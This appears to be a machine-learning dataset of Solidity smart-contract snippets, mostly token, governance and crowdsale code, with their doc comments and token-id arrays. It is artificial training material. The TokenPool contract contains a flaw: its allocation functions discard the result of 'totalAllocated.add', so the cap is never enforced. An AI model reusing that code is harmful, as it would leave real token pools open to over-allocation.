require(boardMembers[msg.sender], "Sender must be a Board Member"); _; } /// @dev restricts calls to the board itself (these can only be called from a voted proposal) modifier onlyBoard() { require(msg.sender == address(this), "Sender must the Board"); _; } /// @dev Events event NewProposal( uint256 proposalID, string indexed proposalType, bytes proposalPayload ); event Voted(address boardMember, uint256 proposalId); event ProposalApprovedAndEnforced( uint256 proposalID, bytes payload, bool success, bytes returnData ); event Deposit(uint256 value); /** * @dev Constructor * @param _initialMembers - Initial board's members * @param _minVotes - minimum votes to approve a proposal * @param _proposalTypes - Proposal types to add upon deployment * @param _ProposalTypeDescriptions - Description of the proposal types */ constructor( address[] memory _initialMembers, uint256 _minVotes, bytes4[] memory _proposalTypes, string[] memory _ProposalTypeDescriptions ) public { require(_minVotes > 0, "Should require at least 1 vote"); require( _initialMembers.length >= _minVotes, "Member list length must be equal or higher than minVotes" ); for (uint256 i = 0; i < _initialMembers.length; i++) { require( !boardMembers[_initialMembers[i]], "Duplicate Board Member sent" ); boardMembersList.push(_initialMembers[i]); boardMembers[_initialMembers[i]] = true; } minVotes = _minVotes; // setting up default proposalTypes (board management txs) proposalTypes["addProposalType"] = 0xeaa0dff1; proposalTypes["removeProposalType"] = 0x746d26b5; proposalTypes["changeMinVotes"] = 0x9bad192a; proposalTypes["addBoardMember"] = 0x1eac03ae; proposalTypes["removeBoardMember"] = 0x39a169f9; proposalTypes["replaceBoardMember"] = 0xbec44b4f; // setting up user provided approved proposalTypes if (_proposalTypes.length > 0) { require( _proposalTypes.length == _ProposalTypeDescriptions.length, "Proposal types and descriptions do not match" ); for (uint256 i = 0; i < _proposalTypes.length; i++) proposalTypes[_ProposalTypeDescriptions[i]] = _proposalTypes[i]; } } /** * @dev Adds a proposal and vote on it (onlyMember) * @notice every proposal is a transaction to be executed by the board transaction type of proposal have to be previously approved (function sig) * @param _type - proposal type * @param _data - proposal data (ABI encoded) * @param _destination - address to send the transaction to * @param _value - value of the transaction * @return proposalID The ID of the proposal */ function addProposal( string memory _type, bytes memory _data, address payable _destination, uint256 _value ) public onlyBoardMember returns (uint256 proposalID) { require(proposalTypes[_type] != bytes4(0x0), "Invalid proposal type"); totalProposals++; proposalID = totalProposals; Proposal memory prop = Proposal( _type, _destination, _value, 0, false, true, _data, false, bytes("") ); proposals[proposalID] = prop; emit NewProposal(proposalID, _type, _data); // proposer automatically votes require(vote(proposalID), "Voting on the new proposal failed"); return proposalID; } /** * @dev Vote on a given proposal (onlyMember) * @param _proposalID - Proposal ID * @return True if success */ function vote(uint256 _proposalID) public onlyBoardMember returns (bool) { require(proposals[_proposalID].exists, "The proposal is not found"); require( !proposals[_proposalID].voters[msg.sender], "This board member has voted already" ); require( !proposals[_proposalID].executed, "This proposal has been approved and enforced" ); proposals[_proposalID].votes++; proposals[_proposalID].voters[msg.sender] = true; emit Voted(msg.sender, _proposalID); if (proposals[_proposalID].votes >= minVotes) executeProposal(_proposalID); return true; } /** * @dev Executes a proposal (internal) * @param _proposalID - Proposal ID */ function executeProposal(uint256 _proposalID) internal { Proposal memory prop = proposals[_proposalID]; bytes memory payload = abi.encodePacked( proposalTypes[prop.proposalType], prop.proposal ); proposals[_proposalID].executed = true; (bool success, bytes memory returnData) = prop.destination.call{value: prop.value}(payload); proposals[_proposalID].success = success; proposals[_proposalID].returnData = returnData; emit ProposalApprovedAndEnforced( _proposalID, payload, success, returnData ); } /** * @dev Adds a proposal type (onlyBoard) * @param _id - The name of the proposal Type * @param _signature - 4 byte signature of the function to be called * @return True if success */ function addProposalType(string memory _id, bytes4 _signature) public onlyBoard returns (bool) { proposalTypes[_id] = _signature; return true; } /** * @dev Removes a proposal type (onlyBoard) * @param _id - The name of the proposal Type * @return True if success */ function removeProposalType(string memory _id) public onlyBoard returns (bool) { proposalTypes[_id] = bytes4(""); return true; } /** * @dev Changes the amount of votes needed to approve a proposal (onlyBoard) * @param _minVotes - New minimum quorum to approve proposals * @return True if success */ function changeMinVotes(uint256 _minVotes) public onlyBoard returns (bool) { require(_minVotes > 0, "MinVotes cannot be less than 0"); require( _minVotes <= boardMembersList.length, "MinVotes lower than number of members" ); minVotes = _minVotes; return true; } /** * @dev Adds a board member (onlyBoard) * @param _newMember - New member to be added * @return True if success */ function addBoardMember(address _newMember) public onlyBoard returns (bool) { require(!boardMembers[_newMember], "Duplicate Board Member sent"); boardMembersList.push(_newMember); boardMembers[_newMember] = true; if (boardMembersList.length > 1 && minVotes == 0) { minVotes = 1; } return true; } /** * @dev Removes a board member (onlyBoard) * @param _member - Member to be added * @return True if success */ function removeBoardMember(address _member) public onlyBoard returns (bool) { boardMembers[_member] = false; for (uint256 i = 0; i < boardMembersList.length; i++) { if (boardMembersList[i] == _member) { boardMembersList[i] = boardMembersList[boardMembersList.length - 1]; boardMembersList.pop(); } } if (boardMembersList.length < minVotes) { minVotes = boardMembersList.length; } return true; } /** * @dev Replaces a board member (onlyBoard) * @param _oldMember - Old member to be replaced * @param _newMember - New member to be added * @return True if success */ function replaceBoardMember(address _oldMember, address _newMember) public onlyBoard returns (bool) { require(removeBoardMember(_oldMember), "Failed to remove old member"); return addBoardMember(_newMember); } /** * @dev Receive */ receive() external payable { emit Deposit(msg.value); } }
* @dev Add new asset to Portfolio @param _assetTicker - Ticker @param _assetInfo - Info @param _assetPercentageParticipation - % of portfolio taken by the asset @return success/
function addNewAsset( string memory _assetTicker, string memory _assetInfo, uint8 _assetPercentageParticipation ) public onlyAdmin returns (bool success) { uint256 totalPercentageAssets = 0; for (uint256 i = 0; i < assets.length; i++) { require( keccak256(bytes(_assetTicker)) != keccak256(bytes(assets[i].assetTicker)), "An asset cannot be assigned twice" ); totalPercentageAssets = SafeMath.add( assets[i].assetPercentageParticipation, totalPercentageAssets ); } totalPercentageAssets = SafeMath.add( totalPercentageAssets, _assetPercentageParticipation ); require( totalPercentageAssets <= 100, "Total assets number cannot be higher than 100" ); emit FundAssetsChanged( _assetTicker, _assetInfo, _assetPercentageParticipation, totalPercentageAssets ); Asset memory newAsset = Asset( _assetTicker, _assetInfo, _assetPercentageParticipation ); assets.push(newAsset); success = true; return success; }
23,648
[ 1, 986, 394, 3310, 358, 6008, 10270, 225, 389, 9406, 18008, 300, 399, 5448, 225, 389, 9406, 966, 300, 3807, 225, 389, 9406, 16397, 1988, 24629, 367, 300, 738, 434, 19933, 9830, 635, 326, 3310, 327, 2216, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 20973, 6672, 12, 203, 3639, 533, 3778, 389, 9406, 18008, 16, 203, 3639, 533, 3778, 389, 9406, 966, 16, 203, 3639, 2254, 28, 389, 9406, 16397, 1988, 24629, 367, 203, 565, 262, 1071, 1338, 4446, 1135, 261, 6430, 2216, 13, 288, 203, 3639, 2254, 5034, 2078, 16397, 10726, 273, 374, 31, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 7176, 18, 2469, 31, 277, 27245, 288, 203, 5411, 2583, 12, 203, 7734, 417, 24410, 581, 5034, 12, 3890, 24899, 9406, 18008, 3719, 480, 203, 10792, 417, 24410, 581, 5034, 12, 3890, 12, 9971, 63, 77, 8009, 9406, 18008, 13, 3631, 203, 7734, 315, 979, 3310, 2780, 506, 6958, 13605, 6, 203, 5411, 11272, 203, 5411, 2078, 16397, 10726, 273, 14060, 10477, 18, 1289, 12, 203, 7734, 7176, 63, 77, 8009, 9406, 16397, 1988, 24629, 367, 16, 203, 7734, 2078, 16397, 10726, 203, 5411, 11272, 203, 3639, 289, 203, 3639, 2078, 16397, 10726, 273, 14060, 10477, 18, 1289, 12, 203, 5411, 2078, 16397, 10726, 16, 203, 5411, 389, 9406, 16397, 1988, 24629, 367, 203, 3639, 11272, 203, 3639, 2583, 12, 203, 5411, 2078, 16397, 10726, 1648, 2130, 16, 203, 5411, 315, 5269, 7176, 1300, 2780, 506, 10478, 2353, 2130, 6, 203, 3639, 11272, 203, 3639, 3626, 478, 1074, 10726, 5033, 12, 203, 5411, 389, 9406, 18008, 16, 203, 5411, 389, 9406, 966, 16, 203, 5411, 389, 9406, 16397, 1988, 24629, 367, 16, 203, 5411, 2078, 16397, 10726, 203, 3639, 11272, 203, 3639, 10494, 3778, 394, 6672, 273, 10494, 12, 2 ]
./full_match/1/0x4e5Bb5FfB7985B9D79fAb4283D2e6927Ca0EcaB3/sources/ArbitrageBot.sol
Withdraw contract's ETH balance
function withdrawETHBalance(address payable recipient) external isOwner{ recipient.transfer(address(this).balance); }
8,373,736
[ 1, 1190, 9446, 6835, 1807, 512, 2455, 11013, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 1584, 44, 13937, 12, 2867, 8843, 429, 225, 8027, 13, 3903, 353, 5541, 95, 203, 3639, 8027, 18, 13866, 12, 2867, 12, 2211, 2934, 12296, 1769, 203, 565, 289, 1377, 203, 27699, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x710882750DDe5DBc64e5a7df23a8cF068dF74910/sources/Synth.sol
* @notice ERC223 transferFrom function/ Reduce the allowance by the amount we're transferring. The safeSub call will handle an insufficient allowance.
function transferFrom(address from, address to, uint value, bytes data) public optionalProxy returns (bool) { _notFeeAddress(from); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value)); return super._internalTransfer(from, to, value, data); }
9,797,909
[ 1, 654, 39, 3787, 23, 7412, 1265, 445, 19, 24614, 326, 1699, 1359, 635, 326, 3844, 732, 4565, 906, 74, 20245, 18, 1021, 4183, 1676, 745, 903, 1640, 392, 2763, 11339, 1699, 1359, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 1265, 12, 2867, 628, 16, 1758, 358, 16, 2254, 460, 16, 1731, 501, 13, 203, 3639, 1071, 203, 3639, 3129, 3886, 203, 3639, 1135, 261, 6430, 13, 203, 565, 288, 203, 3639, 389, 902, 14667, 1887, 12, 2080, 1769, 203, 3639, 1147, 1119, 18, 542, 7009, 1359, 12, 2080, 16, 883, 12021, 16, 1147, 1119, 18, 5965, 1359, 12, 2080, 16, 883, 12021, 2934, 1717, 12, 1132, 10019, 203, 203, 3639, 327, 2240, 6315, 7236, 5912, 12, 2080, 16, 358, 16, 460, 16, 501, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; // File: contracts\zeppelin\ownership\Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: contracts\zeppelin\math\SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts\zeppelin\token\ERC20\ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts\zeppelin\token\ERC20\BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: contracts\zeppelin\token\ERC20\ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts\zeppelin\token\ERC20\StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts\zeppelin\token\ERC20\MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } // File: contracts\zeppelin\token\ERC20\CappedToken.sol /** * @title Capped token * @dev Mintable token with a token cap. */ contract CappedToken is MintableToken { uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } // File: contracts\zeppelin\lifecycle\Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } // File: contracts\zeppelin\token\ERC20\PausableToken.sol /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } // File: contracts\CoinolixToken.sol /** * @title Coinolix icoToken * @dev Coinolix icoToken - Token code for the Coinolix icoProject * This is a standard ERC20 token with: * - a cap * - ability to pause transfers */ contract CoinolixToken is CappedToken, PausableToken { string public constant name = "Coinolix token"; string public constant symbol = "CLX"; uint public constant decimals = 18; constructor(uint256 _totalSupply) CappedToken(_totalSupply) public { paused = true; } } // File: contracts\zeppelin\token\ERC20\SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } // File: contracts\TokenPool.sol /** * @title TokenPool * @dev Token Pool contract used to store tokens for special purposes * The pool can receive tokens and can transfer tokens to multiple beneficiaries. * It can be used for airdrops or similar cases. */ contract TokenPool is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20Basic; ERC20Basic public token; uint256 public cap; uint256 public totalAllocated; /** * @dev Contract constructor * @param _token address token that will be stored in the pool * @param _cap uint256 predefined cap of the pool */ constructor(address _token, uint256 _cap) public { token = ERC20Basic(_token); cap = _cap; totalAllocated = 0; } /** * @dev Transfer different amounts of tokens to multiple beneficiaries * @param _beneficiaries addresses of the beneficiaries * @param _amounts uint256[] amounts for each beneficiary */ function allocate(address[] _beneficiaries, uint256[] _amounts) public onlyOwner { for (uint256 i = 0; i < _beneficiaries.length; i ++) { require(totalAllocated.add(_amounts[i]) <= cap); token.safeTransfer(_beneficiaries[i], _amounts[i]); totalAllocated.add(_amounts[i]); } } /** * @dev Transfer the same amount of tokens to multiple beneficiaries * @param _beneficiaries addresses of the beneficiaries * @param _amounts uint256[] amounts for each beneficiary */ function allocateEqual(address[] _beneficiaries, uint256 _amounts) public onlyOwner { uint256 totalAmount = _amounts.mul(_beneficiaries.length); require(totalAllocated.add(totalAmount) <= cap); require(token.balanceOf(this) >= totalAmount); for (uint256 i = 0; i < _beneficiaries.length; i ++) { token.safeTransfer(_beneficiaries[i], _amounts); totalAllocated.add(_amounts); } } } // File: contracts\zeppelin\crowdsale\Crowdsale.sol /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overriden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropiate to concatenate * behavior. */ contract Crowdsale { using SafeMath for uint256; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei. // The rate is the conversion between wei and the smallest and indivisible token unit. // So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called CLX // 1 wei will give you 1 unit, or 0.001 CLX. uint256 public rate; // Amount of wei raised uint256 public weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); /** * @param _rate Number of token units 